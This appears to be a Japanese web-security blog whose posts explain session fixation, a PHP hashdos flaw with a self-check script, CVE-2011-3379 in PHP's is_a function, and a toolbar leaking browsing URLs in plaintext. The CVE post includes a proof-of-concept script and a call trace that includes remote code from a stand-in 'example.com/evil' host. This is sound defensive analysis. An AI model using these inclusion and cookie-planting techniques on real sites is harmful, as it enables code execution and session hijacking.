最近、セッションフィクセイション脆弱性に対する関心がなぜか高まっています。同脆弱性は割合地味な脆弱性であり、話題になることはあまりありません。そこで、関心の高いこの時期に、セッションフィクセイション脆弱性の影響を受けやすいサイトについて説明し、注意を喚起したいと思います。

セッションフィクセイション脆弱性とは

セッションフィクセイション(セッションIDの固定化)脆弱性は、なんらかの方法で利用者(被害者)のブラウザ上でセッションIDを強制的に指定して、その後利用者がログインしたタイミングで、攻撃者が「ログイン済みのセッションID」を知ることができるという脆弱性です。「安全なウェブサイトの作り方(改訂第五版)」P17から図を引用します。


図の「2.何らかの方法で自分が取得したセッションIDを利用者に送り込む」手法は、安全なウェブサイトの作り方では説明されていません。そこで、以下に「セッションIDを利用者に送り込む」手法について説明します。

セッションIDを送り込む方法(1) URL埋め込みのセッションID

携帯電話向けコンテンツなどで、セッションIDをURLに埋め込んでいるサイトがあります。この場合は、セッションIDを埋め込んだURLをリンクとして用意しておき、利用者に閲覧させるだけでセッションIDを送り込むことができます。
しかし、この場合、利用者が罠のリンクを踏んだ後、他のサイトに遷移する前に攻撃対象サイトにログインしないと、セッションフィクセイション攻撃は成立しません。

セッションIDを送り込む方法(2) Cookieに保存したセッションID

多くのWebサイトでは、セッションIDをCookieに保存しています。この場合、ブラウザかWebアプリケーションに脆弱性があれば、セッションIDを利用者のCookieに送り込むことができます。

(1)ブラウザのバグ(Cookie Monster Bug)
IEには、地域型JPドメイン名および都道府県型JPドメイン名に対して、Cookie Monster Bugというバグ(脆弱性)があります。たとえば、domain=tokyo.jpという属性のCookieをIEは受け入れてしまいます。
都道府県型JPドメイン名は、日本に住所を持つ個人・法人なら誰でも取得できるため、攻撃者がexample.tokyo.jpを取得して、そこに domain=tokyo.jp 属性のCookieをセットする罠を仕掛け、例えばwww.metro.tokyo.jp(東京都のホームページ)にも有効なセッションIDを利用者に「送り込む」ことが可能です(東京都のホームページはあくまで一例です)。

(2)CookieをセットできるWebアプリケーション脆弱性
攻撃対象のサイトにXSS脆弱性や、HTTPヘッダインジェクション脆弱性があると、そのサイトの利用者にCookieを送り込むことができる場合があります。
XSSやHTTPヘッダインジェクション脆弱性は単独でもなりすまし攻撃可能な場合が多いのですが、例えばリダイレクト処理にHTTPヘッダインジェクション脆弱性がある場合、「HTTPボディにJavaScriptは埋め込めないが、Cookieのセットならでき」ます。この場合、HTTPヘッダインジェクション攻撃とセッションフィクセイション攻撃の合わせ技で、なりすましができることになります。

(3)サブドメインを踏み台にした攻撃
当該サイトに脆弱性がなくても、同じドメイン上の別ホストに脆弱性がある場合、脆弱性のあるホスト上でセットしたCookieによりセッションフィクセイション攻撃ができます。これはブログ記事「セッションアダプションがなくてもセッションフィクセイション攻撃は可能」で攻撃例として示した方法です。

また、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトにXSSやHTTPヘッダインジェクション脆弱性がある場合、同じ都道府県に有効なCookieをセットして、同じ都道府県の地域型JPドメイン名や都道府県型JPドメイン名のサイトにセッションフィクセイション攻撃を仕掛けることができます。たとえば、サイトexample.tokyo.jpにXSS脆弱性がある場合、これを悪用して domain=tokyo.jpのCookieを指定することにより、例えばwww.metro.tokyo.jp(東京都のホームページ)にも有効なセッションIDを「送り込む」ことが可能です。

影響を受けやすいサイト

ここまで、セッションフィクセイション攻撃の経路を示しました。上記から、セッションフィクセイション攻撃の影響を受けやすいサイトは下記に示す性質のものです。

  • URLにセッションIDを埋め込んでいるサイト
  • 地域型JPドメイン名または都道府県型JPドメイン名を用いているサイト
  • サブドメイン形式のレンタルサーバー
  • サブディレクトリ形式のレンタルサーバー
  • 同じドメイン上に脆弱なサイトがある(可能性の高い)サイト
  • HTTPヘッダインジェクション(などCookie設定可能な)脆弱性のあるサイト

対策

ここまで「セッションIDを送り込む」方法と、それが可能な条件を示しましたが、条件に該当するサイトが直ちに危険という訳ではありません。一般的に、「セッションIDが送り込まれてしまう」ことを防ぐことは困難な場合があるため、これを受け入れ、「セッションIDが送り込まれてもセッションハイジャックはされない」ように対策することが一般的です。
その方法は、「安全なウェブサイトの作り方」(P19)に下記のように書かれています。
ログインが成功した時点から新いセッションを開始する(新しいセッションIDでセッション管理をする)ようにします。また、新しいセッションを開始する際には、既存のセッションIDを無効化します。
PHPでこれを実現するには、ログイン成功直後に下記を実行します。
session_regenerate_id(true);
これは容易に実現できるため、セッションフィクセイション攻撃を受けやすいか否かに関わらず、かならず上記を実施するようにしましょう。影響の受けやすさを検討しなければならないケースとしては、既存サイトが上記対策を実施しておらず、かつ対策がすぐにできない場合です。その場合は、セキュリティの専門家にチェックをしてもらうとよいと思いますが、セッションフィクセイション脆弱性に関してはとっとと直してしまった方が安い気がします。


[PR]Webサイトのセキュリティ施策はHASHコンサルティング株式会社まで

2012年11月24日土曜日

セキュリティ情報:PHP5.4.8、PHP5.3.18以前にhashdos脆弱性

PHP5.4.8以前、PHP5.3.18以前には、mbstring.encoding_translationが有効になっている場合にhashdos攻撃に脆弱であることが分かりましたので報告します。

一昨日、PHP5.4.9とPHP5.3.19が公開されましたが、changelogを読んで驚きました。
Mbstring:
    Fixed bug #63447 (max_input_vars doesn't filter variables when mbstring.encoding_translation = On).
http://www.php.net/ChangeLog-5.php#5.4.9より引用
mbstring.encoding_translationが有効になっている場合、max_input_varsが有効にならないというのです。これは、hashdos脆弱性の対策が無効になることを意味します。

これは大変だということで、PHP5.4.8とPHP5.4.9で検証してみました。その結果を以下に示します。
mbstring.encoding_translation
Off On
PHP5.4.8 OK NG
PHP5.4.9 OK OK

ご覧のように、確かにPHP5.4.8で、かつmbstring.encoding_translationが有効の場合、max_input_varsのチェックが無効です。これは、hashdos攻撃を受けることを意味しますので、試しにやってみました。多数のhashdosリクエストをPOSTした状態の top コマンドの表示を下記に示します。MaxClientsは50です。


50個のapache2プロセスがすべてhashdosリクエストの処理に占有されています。このリクエスト、1プロセスのみで動作させた場合 5~6分かかるので、50プロセス並行だと4~5時間占有されることになります。この間、新たなリクエストを受け付けることができなくなります。

検証はPHP5.4.8以外にPHP5.4.0でも実施しましたが、PHP5.4.8と同じ結果となりました。おそらく、PHP5.4.8以前のすべてのバージョンでこの問題があると予想されます。

CentOSやUbuntuのPHPパッケージは問題ない

CentOSやUbuntuのyumやapt-getでPHPパッケージを導入した環境でも調べてみましたが、不思議なことに、この問題は再現しませんでした。原因は不明ですが、これらのPHPパッケージでは、max_input_varsの確認方法として、オリジナルとは別の実装が採用されている可能性があります。
調査したディストリビューションとPHPパッケージのバージョン、確認結果を下表に示します。少し古いバージョンですがご了承下さい。個別の判定については、後述のチェック用スクリプトをご活用下さい。

LinuxディストリビューションPHPパッケージバージョン結果
CentOS release 5.5php-5.1.6-27.el5_7.5OK
CentOS release 6.2php-5.3.3-3.el6_2.6.i686OK
Ubuntu 10.04.1 LTS5.3.2-1ubuntu4.14OK
Ubuntu 12.04 LTS5.3.10-1ubuntu3OK

チェック用スクリプト

hashdosの状態を確認するためのスクリプトを作成してみましたので、Webサイトのチェックにご活用下さい。 このスクリプトを任意のファイル名(PHPスクリプトとして実行できる拡張子)でチェック対象Webサーバーに保存して下さい。Webブラウザを用いて、このスクリプトを実行すると、結果が表示されます。JavaScriptを有効にして下さい。チェック終了後はスクリプトを削除して下さい。
<?php
  if (@$_GET['mode'] === 'check') {
    header('Content-Type: text/plain');
    echo (int)count($_POST);
    exit;
  }
  $max_input_vars = ini_get('max_input_vars');
  $postnumber = (int)$max_input_vars + 10;
  if ($max_input_vars === false) {
    $max_input_vars = 'undefined';
  }
?>
<html>
<head>
<title>PHP hashdos checker</title>
</head>
<body>
PHP version : <?php echo htmlspecialchars(phpversion()); ?><br>
max_input_vars : <?php echo htmlspecialchars($max_input_vars); ?><br>
mbstring.encoding_translation : <?php
   echo htmlspecialchars(ini_get('mbstring.encoding_translation')); ?><br>
<div id='result'></div>
<div id='judgment'></div>
<script>
var n = <?php echo (int)$postnumber; ?>;
var data = '';
for (var i = 1; i <= n; i++) {
  data += i + '=&';
}
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    var count = req.responseText;
    document.getElementById('result').appendChild(
      document.createTextNode('Number of POST parameters : ' + count));
    if (count < n) {
      judgment = 'This web server is NOT vulnerable to hashdos.';
    } else {
      judgment = 'This web server is VULNERABLE to hashdos.';
    }
    document.getElementById('judgment').appendChild(document.createTextNode(judgment));
  }
}
req.open('POST', '?mode=check' );
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req.send(data);
</script>
</body>
</html>

いくつか、動作例を下記に示します。

環境結果
PHP5.4.8PHP version : 5.4.8
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 1010
This web server is VULNERABLE to hashdos.
PHP5.4.9
(mbstring.encoding_translation = On)
PHP version : 5.4.9
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 0
This web server is NOT vulnerable to hashdos.
PHP5.4.9
(mbstring.encoding_translation = Off)
PHP version : 5.4.9
max_input_vars : 1000
mbstring.encoding_translation :
Number of POST parameters : 1000
This web server is NOT vulnerable to hashdos.
Ubuntu 12.04 LTS
5.3.10-1ubuntu3
PHP version : 5.3.10-1ubuntu3
max_input_vars : 1000
mbstring.encoding_translation : 1
Number of POST parameters : 1001
This web server is NOT vulnerable to hashdos.

上記から、興味深いことが分かります。
PHP5.4.9では、mbstring.encoding_translationがOnの時とOffの時で、防御のための挙動が変わります。Offの場合は、変数の数が max_input_varsまで切り詰められます。Onの場合は、POST変数がすべて削除されます。
また、Ubuntu12.04のPHPパッケージを導入している場合、mbstring.encoding_translationに関わりなく(上記には出ていませんが)、max_input_vars + 1 に変数の数が切り詰められます。私の調べた範囲では、LinuxディストリビューションのPHPパッケージはすべてこうなっていて、「LinuxディストリビューションのPHPパッケージはmax_input_varsのチェック方法が異なるのではないか」と思った根拠はこれです。

対策

再現条件がはっきりしないため、上記チェックスクリプトで、脆弱性の確認をお勧めします。対策が必要な場合は、下記の手段があります。
  • PHPの最新版を導入する(本稿執筆時点でPHP5.4.9、またはPHP5.3.19)
  • mbstring.encoding_translation をOffに設定する(可能な場合)
  • hashdosの回避策を実装する
  • hashdosのリスクを受容する
hashdosの回避策については、下記エントリを参考にしてください。
現在分かっているところでは、hashdosのリスクは、攻撃を受けている最中Webサイトがリクエストに応じられなくなることです。情報漏洩や改ざんはありません。最悪、数時間~数日間サイトが使えなくなっても良いなら、リスクを受容するという選択肢もあるでしょう。


免責

このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものとします。

PR

HASHコンサルティング株式会社では、Webサイトを安全に守るためのセキュリティサービスを提供しています。WAF(Web Application Firewall)による効果的な脆弱性対策(hashdosを含む)や、リスクの評価、対策方法の策定、セキュリティの教育などを提供します。詳しくはお気軽にお問い合わせ下さい。

2012年10月1日月曜日

PHPのis_a関数における任意のコードを実行される脆弱性(CVE-2011-3379)とは何だったか

少し古いバージョンになりますが、PHP5.3.7および5.3.8のis_a関数には「任意のコードを実行される脆弱性(CVE-2011-3379)」があります。
任意のコードが実行されるとはただならぬ感じですが、このCVE-2011-3379はほとんど話題になっていません。なぜでしょうか。それは、この脆弱性が発現する条件が、レアなケースに限られるからです。
このエントリでは、CVE-2011-3379について少し詳しく説明することを通して、脆弱性情報の見方について考えてみます。

is_a関数とis_subclass_of関数

PHPにはis_a関数とis_subclass_of関数というよく似た関数があります。以下PHP5.3.6までの「元々の」仕様について説明します。
is_a関数は、2つの引数をとり、第1引数のクラス(インスタンスで指定)が、第2引数のクラス(クラス名で指定)またはそのサブクラスであるか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_a($parent, 'A'));       // true
var_dump(is_a($parent, 'SubA'));  // false
var_dump(is_a($sub, 'A'));           // true
var_dump(is_a($sub, 'SubA'));      // true
is_subclass_of関数は、第1引数のクラス(インスタンスかクラス名で指定)が、第2引数のクラス(クラス名で指定)のサブクラスか否かを返します。
<?php
class A {}
class SubA extends A {}
$parent = new A();
$sub = new SubA();
var_dump(is_subclass_of($parent, 'A'));     // false
var_dump(is_subclass_of($parent, 'SubA'));   // false
var_dump(is_subclass_of($sub, 'A'));            // true
var_dump(is_subclass_of($sub, 'SubA'));       // false
var_dump(is_subclass_of('A', 'A'));               // false
var_dump(is_subclass_of('A', 'SubA'));        // false
var_dump(is_subclass_of('SubA', 'A'));        // true
var_dump(is_subclass_of('SubA', 'SubA'));   // false

PHPの__autoload関数

PHPには、__autoload関数というものがあります。この関数は、未定義のクラスが参照された際に、そのクラスの定義を自動的に読み込めるようにするものです。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
$x = new X();  // クラスXは未定義なので、__autoload('X')が暗黙に呼び出される
               // 結果的に、X.phpがインクルードされる

前述のis_subclass_of関数の題意引数に指定したクラス名が、未定義クラスを指す場合も、__autoload関数が呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_subclass_of('X', 'A'));  // __autoload('X')が暗黙に呼び出される

PHP5.3.7におけるis_subclass_of関数の変更

PHP5.3.7にて、is_subclass_of関数の仕様が少し変わります(Bug #53727)。PHP5.3.6以前では、インターフェースBを実装しているクラスImplBは、is_subclass_of関数はfalseを返し、ImplBのサブクラスについてはtrueを返していました。
<?php
interface B {}
class ImplB implements B{}
class SubImplB extends ImplB{};
$parent = new ImplB();
$sub = new SubImplB();
var_dump(is_subclass_of($parent, 'B'));     // false
var_dump(is_subclass_of($sub, 'B'));        // true
var_dump(is_subclass_of('ImplB', 'B'));     // false
var_dump(is_subclass_of('SubImplB', 'B'));  // true
これに対して、PHP5.3.7では、インターフェースについてもis_subclass_of関数はtrueを返すようになりました。すなわち、上記の表示はいずれもがtrueを表示するように変わりました。

PHP5.3.7において副作用的に発生したis_a関数の仕様変更

インターフェースの扱いはCVE-2011-3379とは直接関係ないのですが、上記変更に伴って、is_a関数の仕様が変わりました。

  • 第1引数としてクラス名(文字列)が指定できるようになった
  • 第1引数に指定したクラス名が未定義クラスの場合、__autoload関数が呼び出されるようになった

すなわち、以下の例では、__autoload('X')が暗黙に呼び出されます。
<?php
function __autoload($classname) {
  include($classname . '.php');  // class名に .php をつけたファイルをインクルードする
}
var_dump(is_a('X', 'A'));  // __autoload('X')が暗黙に呼び出される
なぜ、このような変更が起こってしまったかという原因ですが、is_a関数とis_subclass_of関数は中味がよく似ているため、実装は共通であり、スイッチで処理内容が切り替わるようになっているためと思われます。具体的には、zend_builtin_functions.c内のis_a_impl関数の第2引数only_subclassの値でこの2つの関数を切り替えています。
このため、is_subclass_of関数の変更の影響が、is_a関数にも及んだものと推測されます。

is_a関数の仕様変更の影響

PHP5.3.7のリリースが2011年8月18日ですが、8月22日にはis_a関数がautoload関数を呼び出すようになったことが問題としてbug.php.netにあがっています(Bug #55475)。

PHP5.3.6とは仕様が変わっていることは明らかですが、Bug #55475のスレッドでは、以下のような議論が行われました。
  • まぁ、これはこれで一貫した処理なのでは?
  • でも、安定版の中で振る舞いが変わるのはやはりまずいよ
  • PEARだと、この影響でまずいことがある
  • これはセキュリティバグだ。第1引数にURLが指定されると、リモートファイルインクルード(RFI)になる
ここでは、PEARの件と、セキュリティバグの件を紹介します。

PEARライブラリFileオブジェクトの誤動作例

PEARライブラリ中のFileオブジェクトには、readAllというメソッドがあります。以下に示すように、ファイル名を指定して呼び出すと、ファイルの中味が文字列として帰ります。エラーの場合はPEAR_Errorというクラスのインスタンスが返るので、PEAR::isErrorメソッドでエラー判定します。
<?php
require_once 'File.php';
$content = File::readAll(FILENAME);
if (PEAR::isError($content)){
 問題は、このエラー判定です。isErrorの実装をいかに示します。
function isError($data, $code = null)
{
  if (!is_a($data, 'PEAR_Error')) {
    return false;
  }
  if (is_null($code)) {
    return true;
  } elseif (is_string($code)) {
    return $data->getMessage() == $code;
  }
  return $data->getCode() == $code;
}
is_a関数で、PEAR_Errorクラスのインスタンスであるかどうかを比較していますが、$dataの中身が、「PEAR_Error」という文字列だったらどうでしょうか。is_a関数は、is_a('PEAR_Error', 'PEAR_Error')という呼び出しになりPHP5.3.7ではtrueが帰ります。結果として、isErrorはtrueを返してしまいます。
つまり、ファイルの中身が「PEAR_Error」だったら、正常な読み込みができた場合でもエラーとして判定されてしまうことになります。
そんなにしょっちゅうあるとは思えませんが、不完全なプログラムであることには間違いありません。しかも、これが脆弱性として発現する場合もあるのです。これがCVE-2011-3379です。

is_a関数とPEARの合わせ技で脆弱性に

Cipriano Groenendal氏のブログ記事から、脆弱性のあるスクリプトを紹介します。
<?php
function __autoload($class_name) {
  include $class_name . '.php';
}
$uploaded_file = File::readAll($uploaded_filename);
if (PEAR::isError($uploaded_file)){
  echo "error : $uploaded_file\n";
}else{
  echo "success : $uploaded_file\n";
}
このスクリプトは、__autoload関数が定義されていて、未定義のクラスが参照された場合に、クラス名に.php拡張子をつけたファイルをインクルードするようになっています。処理の中身は、利用者がアップロードしたファイルを読み込んで、画面に表示するものです。PoCなので、XSS対策していないのは目をつぶることにしましょうw

ここで問題は、PEAR::isErrorメソッドが内部でis_a関数を読んでいるので、ファイルから読み込んだ文字列に対して、is_a関数が呼び出されることです。

たとえば、ファイルの中身が http://example.com/evil だったとすると、

PEAR::isError('http://example.com/evil');
 ↓
is_a('http://example.com/evil', 'PEAR_Error');
 ↓  // http://example.com/evil というクラスは未定義なのでautoload
__autoload('http://example.com/evil');
 ↓
include('http://example.com/evil.php');

上記の流れで、(allow_url_include = Onの場合、但しデフォルトはOff)http://example.com/evil.php からスクリプトが読み込まれて実行されてしまうことになります。これはリモートファイルインクルード攻撃(RFI)の成功です。

また、allow_url_include = Offの場合でも、利用者がアップロード機能を利用して、拡張子がphpのファイルにPHPスクリプトを書き込むことができ、そのファイル名を外部から知ることができれば、ローカルファイルインクルード攻撃(LFI)が可能です。
  • 利用者がPHPスクリプトをアップロードする。ファイル名は /var/data/12345.php となる
  • 利用者が /var/data/12345 という文字列をアップロードする
  • 上記の流れで、/var/data/12345.php がインクルードされ、スクリプトが実行される
拡張子がphpで、中味がPHPスクリプトというファイルをアップロードできること自体がとても恐ろしいアプリケーションであるわけですが、外部からこのスクリプトを起動できなければ、LFIは成立しません。しかし、is_a関数の仕様変更により、「元々は外部から起動できないはずのスクリプトが起動できてしまう」ことが問題です。

攻撃が成立する条件

上記シナリオ以外にもis_a関数が__autoload関数を呼び出すシナリオがあるかもしれませんが、それを考え出すときりがないので、上記シナリオの場合に、攻撃が成立する条件を考えます。それは以下をすべて満たす場合です。
  • PHP5.3.7またはPHP5.3.8を使っている(PHP5.3.9で対策されているため)
  • PEAR - Fileなど、外部からの入力に対して、直接・間接にis_a関数を呼び出している
    典型的にはファイルアップロード機能があり、その中味をFile::readAll関数で読み出している
  • アップロード機能によりテキストファイルをアップロードできる
  • __autoload関数を定義している
  • 以下のいずれかが成立する
    •  allow_url_includeがOnである
    •   利用者がPHPスクリプトを拡張子が.phpのファイルとしてアップロードでき、ファイル名を推測できる

対策

対策は以下の通りです。PHP5.3.9以降を用いれば、問題は発生しません。
  • PHPの最新版を用いる。PHP5.3.9で対策されている(必須)
  • is_a関数ではなく、instanceof演算子を用いる(推奨)
  • Fileクラスを使わない。File::readAll関数の代わりに、file_get_contentsが利用できる(推奨)
  • __autoload関数を実装する場合は、クラス名の妥当性確認を行う(強く推奨、後述)

考察・まとめ

is_a関数のちょっとした仕様変更が、思わぬ脆弱性の原因になってしまった例を紹介しました。
 正直言って、is_a関数の仕様はイケテナイと思います。現に、is_a関数はPHP5.0.0でいったん非推奨になっていますが、「利用者からの要望が多かったため」、PHP5.3.0で非推奨でなくなったという経緯があります。
 PHP5.3.9での対策は、is_a関数のデフォルトでは第1引数に文字列をとれなくしましたが、追加の第3引数により、文字列でのクラス名の指定も可能にしたものです。詳しくは、is_a関数のリファレンスを参照下さい。

 is_a関数は、元々第1引数の型(クラス)を調べるものなのに、文字列の時だけ中味(クラス名)をチェックするのは、筋が悪く、思わぬバグを生み出す原因になります。CVE-2011-3379は正にその例です。PHP5.3.9での対策は、「デフォルトでは文字列指定できなくしたけど、スイッチで、オブジェクトまたは文字列の指定もできる」というものですが、オブジェクトを入力とする関数と、文字列を入力とする関数は本来は別に用意するべきでしょう。

 また、is_a関数(元々はis_subclass_of関数)が、クラス未定義の場合に__autoloadを呼び出す仕様がそもそも余計なおせっかいと思いますが、仮に__autoloadを呼び出すのであれば、クラス名(識別子)としての妥当性を確認すべきでしょう。現状では、クラス名として「1」や「/var/data/evil」など(クラス名にできない文字列)を指定しても、そのまま__autoloadが呼び出されます。
 このため、PHP利用者側で取れる対策としては、__autoload関数側でクラス名の妥当性チェックをするのがよいと思いますが、本来は、PHP側で対策すべきと考えます。

2012年8月10日金曜日

Tポイントツールバーを導入するとSSL通信の履歴までもが盗聴可能になる

twitterなどでTポイントツールバーの利用規約が話題になっています。このエントリでは、Tポイントツールバーを実際に導入して気づいた点を報告します。結論として、当該ツールバーを導入すると、利用者のアクセス履歴(SSL含む)が平文で送信され、盗聴可能な状態になります。

追記(2012/08/10 20:10)
たくさんの方に読んでいただき、ありがとうございます。一部に誤解があるようですが、ツールバーが送信している内容はURLだけで、Cookieやレスポンスまでも送信しているわけではありません。URLを送信するだけでも、以下に示す危険性があるということです。
追記終わり

追記(2012/08/13 23:50)
ポイントツールバーにバージョンアップがあり、WEB閲覧履歴の送信がSSL通信に変更されました。従って、WEB閲覧履歴が盗聴可能な状況は回避されました。本日22:50頃確認しました。
追記終わり

導入

Tポイントツールバーの導入は以下の手順です。
  1. T-IDの登録(アカウント作成)
  2. ツールバーのダウンロード
  3. ツールバーの導入
詳しくはサイトのインストール手順をご覧下さい。私は、WindowsXP SP3とInternet Explorer 8の組み合わせで検証しました。インストールの途中で ieframe.dll が見つからないというエラー(下図)でインストーラーが停止しましたが、再度実行するとインストールできました。


使ってみる

それでは、さっそくTポイントツールバーを使ってみましょう。IE起動時の画面は以下となります。



ツールバーの左端にTポイントカードのロゴがあり、その右に検索キーワードの入力欄があります。Tポイントツールバーは、Tサイトにログインした状態で使用する想定のようです。ログインしてから、入力欄に「育毛剤」と入力して検索してみます。



検索結果のドメインは、tsearch.tsite.jp ですし、T-IDでログインした状態なので、利用者のキーワード収集は、ツールバーではなく、このサイトの側で行っているのかもしれませんね。画面の検索ボタンの右に「Powered by Yahoo!」とあるので、検索エンジンはYahoo!のOEMなのでしょう。キーワード検索広告もYahoo!のもののようです。


WEB閲覧履歴の送信

ところで、Tポイントツールバーの利用規約には以下のように書かれています。
第6条(履歴の収集)

1. 利用者は、当社が提供した本ツールバーをインストールした利用者端末による全てのWEB閲覧履歴(閲覧したURL、検索キーワード、ファイル名及びアクセス日時等の履歴情報をいい、以下「WEB閲覧履歴」といいます)が当社により取得されることをあらかじめ承諾するものとします。
実際のところツールバーがWEB閲覧履歴を収集しているかを確認してみましょう。IEで、https://www.hash-c.co.jp/?PHPSESSID=ABCDEFGHIJK0123456789 を閲覧してみます。すると、以下のHTTPリクエストがPOSTされます。文字の一部をマスク表示して、読みやすいように改行を追加しています。xxxとなっているのは、謎の3バイトです。
POST /service/track.cgi?y=-8588570930699932058 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Content-Type: application/x-www-form-urlencoded
Host: log.opt.ne.jp
Content-Length: 183
Expect: 100-continue
Connection: Keep-Alive

xxx&
mid=4A7DZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ50170&
tlsc_l=NVEpO4ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZU_s&
u=https%3a%2f%2fwww.hash-c.co.jp%2f%3fPHPSESSID%3dABCDEFGHIJK0123456789
log.opt.ne.jpというホストに、閲覧履歴が平文で(HTTPSではなくHTTPで)送信されています。
これは問題がありますね。閲覧履歴がカルチュア・コンビニエンス・クラブ株式会社によって取得されることは利用規約に書いてありますが、「閲覧履歴が平文送信されるので、カルチュア・コンビニエンス・クラブ株式会社以外のものに盗聴により取得されるかもしれない」ことは利用規約には書かれていないからです。
実はTカードツールバーの利用規約には以下のようにも書かれています。
第10条(免責事項)
1.利用者は、自己の判断と責任の下で、本ツールバーを利用するものとします。本ツールバーを利用したこと又は利用できなかったこと若しくは第3条に基づくTポイントの付与が受けられなかったことにより、利用者に損害、その他の不利益が生じたとしても、当社は一切責任を負いません。
一般的に利用規約にはこの種の免責事項を書くものではありますが、免責を記しているからと言って利用者の閲覧履歴を粗末に扱ってよいということにはならないと思います。それに、FAQのページには以下のように書かれています。


上記は、データが漏洩しないとは書いていませんが、「テスト済みですので、ご安心下さい」と書いてあれば、多くの利用者は、カルチュア・コンビニエンス・クラブという大きな会社が運営していることもあって、データの安全性にも配慮してあるのだろうと暗黙に了解するのではないでしょうか。


URLの平文送信の影響

利用者の閲覧履歴であるURLを平文送信することにより、HTTPSアクセス時のURLが盗聴される可能性が出て来ます。この影響について考えます。
まず、URLにセッションIDを埋め込んであるサイト(携帯電話向けサイトでは一般的な方式ですが、他のサイトにも存在します)では、セッションIDが盗聴されることにより、成りすましのリスクがあります。
また、セッションIDでなくても、URLに秘密情報を埋め込むことによりアクセス制御をする場合があります。また、画像ファイルやPDFについても、URLを秘密にすることによりアクセス制御をしているサイトがあります。とあるネットバンクの取引明細のPDFは、URLに乱数が埋め込まれていますが、URLを知っているとパスワードなしでアクセスできてしまいます。 このようなサイトについても、URLを盗聴されることにより、成りすましやデータの窃取の危険性が生じます。
これら、成りすまし等以外にも、どのページをアクセスしたかを第三者に知られたくないという状況もあるでしょう。Tポイントツールバーを導入すると、Webのセキュリティ強度は強制的に低下します。それは、利用規約などには書いていないことです。

利用者固有番号


追記(2012/08/10 20:25)
以下のパラグラフで、「固有の利用番号」を利用者にひもつくものと解釈しておりましたが、そう解釈する必然性はないことに気がつきました。むしろ、端末の結びついた情報と解釈した方が日本語としては自然かもしれません。しかし、端末にひもつく「番号」は機能の実現に不可欠とは言えないと考えます。一方、利用者にひもつく情報は、閲覧履歴を収集するという仕様を実現するためには不可欠なもので、それを番号と呼ぶか、ユーザIDと呼ぶかということに過ぎず、以下の指摘はやや的外れでした。指摘している脅威が存在することには変わりませんが、その原因は、(1)Web閲覧履歴を収集すること自体が問題、(2)仮に閲覧履歴を収集するなら暗号化して送信するべき、ということです。
追記終わり

Tポイントツールバーの利用規約には以下のように「利用番号」についての記載があります。
第6条(履歴の収集)
【略】
3. 本ツールバーには固有の利用番号が登録されています。当該利用番号は、本ツールバーが機能するために必要な情報であり、無効化あるいは削除することはできません。
「固有の利用番号」というと嫌な感じですが、先ほどのPOSTデータの中に、この「利用番号」は含まれるのでしょうか。先のPOSTデータには、mid および tlsc_l と言うパラメータがあり、ログイン・ログアウトしてもこの値は変わりません。これらのいち、私は tlsc_l の方が「固有の利用番号」のような気がしました。その根拠は、以下の通りです。
  • ツールバーインストール直後のT-SITEにログイン前の状態では、tlsc_lは空である
  • T-SITEのWebアプリケーションの発行するCookieにも tlsc_l というCookieがあり、TポイントツールバーのPOSTする tlsc_l と値が同じ
  • 端末を変えても、T-IDが同じなら tlsc_l は同じ。midの方は端末毎に変わる
  • Cookieのtlsc_lの方も、ログイン毎に値は変化しない

「固有の利用番号」が、TポイントツールバーのPOSTデータについていることから、以下のような困ったことが起こり得ます。


利用者固有番号の悪影響

たとえば、PROXYサーバーを経由でアクセスしている場合、平文の(HTTPSでない)リクエストはPROXYサーバー上で監視することができます。一方、HTTPSのリクエストについては、アクセスしているホスト名まではわかりますが、URLは分かりません。
しかし、TポイントツールバーのPOST値を監視できる立場の人は、「固有の利用番号」がついていることにより、特定ユーザの挙動把握が容易になります。
たとえば、とあるユーザが、https://twitter.com/#!/ockeghem/HiddenList を頻繁にアクセスしているとします。これはtwitterのリストのURLですが、このリストが非公開となっている場合、このユーザは、twitter IDがockeghem(すなわち私)であると推測できます。
すると、このユーザと同じ「固有の利用番号」がついてるWEB閲覧履歴は、すべて私のアクセスできることが分かってしまいます。

Tポイントツールバーの利用者にとって、WEB閲覧履歴がCCCに伝わることは利用規約上で(建前上は)許諾しています。しかし、第三者にもWEB閲覧履歴が漏れることまでは許諾していません。それが起こってしまう原因は、Tポイントツールバーの以下の設計上の問題に起因しています。
  • WEB閲覧履歴の平文送信(根本原因)
  • 「固有の利用番号」の存在(攻撃を容易にする要因)

まとめ

Tポイントツールバーについて紹介しました。
Tポイントツールバーは、利用者のアクセス履歴(URL)をログ収集サーバーに送信しますが、(1)平文通信である、(2)固有の利用番号がつく、ことがセキュリティ上の問題となります。

とくに、利用者のアクセス履歴を平文で送信することにより、Webサイトのセキュリティ強度を勝手に下げてしまう点は致命的であると考えます。これが許容できる利用者は、ほとんどいないでしょう。カルチュア・コンビニエンス・クラブ株式会社は、至急、以下のいずれかの対処をすべきです。

  • 利用規約に上記セキュリティ上のリスクを明記する
  • WEB閲覧履歴の送信をSSL通信に変更する
  • Tポイントツールバーの提供を停止し、既存ユーザには強制アップデートにて履歴送信機能を止める。log.opt.ne.jpも停止する

※前2項を一応考えましたが、どう考えてもダメなので、当エントリ公開時に削除しました。

フォロワー

ブログ アーカイブ